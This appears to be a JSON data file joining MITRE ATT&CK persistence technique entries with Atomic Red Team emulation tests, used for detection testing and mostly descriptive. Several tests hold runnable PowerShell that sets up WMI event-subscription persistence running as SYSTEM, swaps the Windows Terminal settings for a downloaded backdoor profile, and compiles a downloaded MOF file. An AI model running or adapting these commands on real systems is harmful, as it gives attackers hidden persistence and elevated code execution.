- "url": "https://objective-see.com/blog/blog_0x31.html",
- "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- },
- {
- "source_name": "Launch Service Keys Developer Apple",
- "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1",
- "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021."
- }
- ],
- "modified": "2021-10-18T16:36:37.042Z",
- "name": "Boot or Logon Autostart Execution: Login Items",
- "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled
.\n\nLogin items installed using the Service Management Framework leverage launchd
, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable
.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm
file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems
within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1547.015"
- },
- "atomic_tests": [
- {
- "name": "Persistence by modifying Windows Terminal profile",
- "auto_generated_guid": "ec5d76ef-82fe-48da-b931-bdb25a62bc65",
- "description": "Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "calculator": {
- "description": "Test program used to imitate a maliciously called program.",
- "type": "string",
- "default": "calculator.exe"
- },
- "settings_json_def": {
- "description": "Default file for Windows Terminal to replace the default profile with a backdoor to call another program.",
- "type": "path",
- "default": "~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json"
- },
- "settings_json_tmp": {
- "description": "Temp file for Windows Terminal.",
- "type": "path",
- "default": "~\\AppData\\Local\\Temp\\settings.json"
- },
- "wt_exe": {
- "description": "Windows Terminal executable.",
- "type": "path",
- "default": "~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Windows Terminal must be installed\n",
- "prereq_command": "if (Test-Path #{wt_exe}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "$(rm ~\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalState\\StoreEdgeFD\\installed.db -ErrorAction Ignore; Write-Output \"\"; $?) -and $(winget install --id=Microsoft.WindowsTerminal)\n"
- }
- ],
- "executor": {
- "command": "mv #{settings_json_def} #{settings_json_tmp}\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true\" -OutFile \"#{settings_json_def}\"\nwt.exe\n",
- "cleanup_command": "mv -Force #{settings_json_tmp} #{settings_json_def}\ntaskkill /F /IM \"#{calculator}\" > $null\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1205.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
- "type": "attack-pattern",
- "created": "2020-07-01T18:23:25.002Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1205.001",
- "url": "https://attack.mitre.org/techniques/T1205/001"
- },
- {
- "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
- "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
- "source_name": "Hartrell cd00r 2002"
- }
- ],
- "modified": "2022-03-11T18:31:23.996Z",
- "name": "Port Knocking",
- "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1098.001": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS",
- "Azure AD",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Expel",
- "Oleg Kolesnikov, Securonix",
- "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
- "Zur Ulianitzky, XM Cyber"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
- "created": "2020-01-19T16:10:15.008Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1098.001",
- "url": "https://attack.mitre.org/techniques/T1098/001"
- },
- {
- "source_name": "Expel IO Evil in AWS",
- "url": "https://expel.io/blog/finding-evil-in-aws/",
- "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
- },
- {
- "source_name": "Demystifying Azure AD Service Principals",
- "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/",
- "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020."
- },
- {
- "source_name": "GCP SSH Key Add",
- "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add",
- "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020."
- },
- {
- "source_name": "Blue Cloud of Death Video",
- "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815",
- "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019."
- },
- {
- "source_name": "Blue Cloud of Death",
- "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1",
- "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019."
- },
- {
- "source_name": "Microsoft SolarWinds Customer Guidance",
- "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
- "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."
- },
- {
- "source_name": "Expel Behind the Scenes",
- "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/",
- "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nAdversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair
or ImportKeyPair
API in AWS or the gcloud compute os-login ssh-keys add
command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)",
- "modified": "2022-05-19T14:16:53.885Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Account Manipulation: Additional Cloud Credentials",
- "x_mitre_detection": "Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "User Account: User Account Modification",
- "Active Directory: Active Directory Object Modification"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1098.001"
- },
- "atomic_tests": []
- },
- "T1053.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
- "type": "attack-pattern",
- "created": "2019-12-03T14:15:27.452Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.004",
- "url": "https://attack.mitre.org/techniques/T1053/004"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2021-10-07T21:38:03.610Z",
- "name": "Launchd",
- "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd
daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd
daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons
and /Library/LaunchDaemons
(Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd
daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd
can also be abused to run a process under the context of a specified account. Daemons, such as launchd
, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1546.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Brent Murphy, Elastic",
- "David French, Elastic"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
- "created": "2020-01-24T14:07:56.276Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.003",
- "url": "https://attack.mitre.org/techniques/T1546/003"
- },
- {
- "source_name": "FireEye WMI 2015",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
- "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016."
- },
- {
- "source_name": "Dell WMI Persistence",
- "url": "https://www.secureworks.com/blog/wmi-persistence",
- "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016."
- },
- {
- "source_name": "FireEye WMI SANS 2015",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf",
- "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."
- },
- {
- "source_name": "Medium Detecting WMI Persistence",
- "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
- "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019."
- },
- {
- "source_name": "Elastic - Hunting for Persistence Part 1",
- "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
- "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."
- },
- {
- "source_name": "Mandiant M-Trends 2015",
- "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
- "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016."
- },
- {
- "source_name": "Microsoft Register-WmiEvent",
- "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1",
- "description": "Microsoft. (n.d.). Retrieved January 24, 2020."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "Microsoft MOF May 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-",
- "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
- "modified": "2022-04-20T17:01:37.760Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Windows Management Instrumentation Event Subscription",
- "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter
, EventConsumer
, and FilterToConsumerBinding
events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding
events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent
[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "WMI: WMI Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.003"
- },
- "atomic_tests": [
- {
- "name": "Persistence via WMI Event Subscription - CommandLineEventConsumer",
- "auto_generated_guid": "3c64f177-28e2-49eb-a799-d767b24dd1e0",
- "description": "Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af\n\nhttps://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n EventNameSpace='root\\CimV2';\n QueryLanguage=\"WQL\";\n Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';\n CommandLineTemplate=\"$($Env:SystemRoot)\\System32\\notepad.exe\";}\n$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = [Ref] $Filter;\nConsumer = [Ref] $Consumer;\n}\n$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs\n",
- "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Persistence via WMI Event Subscription - ActiveScriptEventConsumer",
- "auto_generated_guid": "fecd0dfd-fb55-45fa-a10b-6250272d0832",
- "description": "Run from an administrator powershell window. After running, reboot the victim machine.\nAfter it has been online for 4 minutes you should see notepad.exe running as SYSTEM.\n\nCode references\n\nhttps://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n EventNameSpace='root\\CimV2';\n QueryLanguage=\"WQL\";\n Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};\n$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments $FilterArgs\n\n$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';\n ScriptingEngine='VBScript';\n ScriptText='\n Set objws = CreateObject(\"Wscript.Shell\")\n objws.Run \"notepad.exe\", 0, True\n '}\n$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs\n\n$FilterToConsumerArgs = @{\nFilter = $Filter;\nConsumer = $Consumer;\n}\n$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs\n",
- "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Windows MOFComp.exe Load MOF File",
- "auto_generated_guid": "29786d7e-8916-4de6-9c55-be7b093b2706",
- "description": "The following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "mofcomp_path": {
- "description": "Location of mofcomp.exe",
- "type": "string",
- "default": "c:\\windows\\system32\\wbem\\mofcomp.exe"
- },
- "mof_file": {
- "description": "Local location MOF file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "MofComp.exe must exist on disk at specified location (#{mofcomp_path})\n",
- "prereq_command": "if (Test-Path \"#{mofcomp_path}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "Validate MOFComp.exe is on disk somewhere and update input argument.\n"
- },
- {
- "description": "MofComp.exe must exist on disk at specified location (#{mof_file})\n",
- "prereq_command": "if (Test-Path \"#{mof_file}\") { exit 0} else { exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{mof_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof\" -OutFile \"#{mof_file}\"\n"
- }
- ],
- "executor": {
- "command": "#{mofcomp_path} #{mof_file}\n",
- "cleanup_command": "$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam_consumer'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam_filter'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1060": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:49.988Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1060",
- "url": "https://attack.mitre.org/techniques/T1060"
- },
- {
- "external_id": "CAPEC-270",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/270.html"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/aa376977",
- "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.",
- "source_name": "Microsoft Run Key"
- },
- {
- "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key",
- "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.",
- "source_name": "Microsoft RunOnceEx APR 2018"
- },
- {
- "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
- "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
- "source_name": "Oddvar Moe RunOnceEx Mar 2018"
- },
- {
